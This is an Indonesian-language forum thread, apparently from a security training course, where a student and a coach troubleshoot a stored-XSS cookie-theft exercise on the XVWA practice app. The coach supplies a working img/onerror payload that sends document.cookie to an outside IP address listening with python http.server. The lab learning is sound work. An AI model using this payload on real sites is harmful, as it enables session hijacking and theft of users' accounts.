XSS – Storage

[milleonytiana]

Coach, Apa kode lengkap yang diinput pada web xvwa xss storage dengan component document.write Java script untuk dapatkan cookie dari metode XSS Storage? Saya berkali-kali coba tidak dapat cookienya di terminal kali Linux (python3 -m http.server) mohon bantuannya menuliskan kembali disini dan apakah sekarang masih bisa kode itu?🙏

• This topic was modified 8 months, 3 weeks ago by milleonytiana.

[milleonytiana]

*XSS Stored

[Coach Williams]

bisa coba ini yah <img src=x onerror=this.src='http://34.211.174.102/?c='+document.cookie>

mungkin ga dapat, gara2 ip nya yang dimasukan di xss payload nya salah, coba di cek dulu

[milleonytiana]

https://drive.google.com/file/d/1oaemhgbnmQIbYOAEDN_qEBwKHDClgWI3/view?usp=sharing
tolong dicek coach

[Coach Williams]

sudh bener kok, waktu inspect element di bagian storage > cookie ada isinya?

[milleonytiana]

setelah diinspect ternyata cookienya muncul di storage coach, ini udah ok ya coach?

• This reply was modified 8 months, 2 weeks ago by milleonytiana.

[Coach Williams]

coba di dalam document.write itu diganti alert(document.cookie)
keluar ini ngga banner isi cookie

[Author]

Posts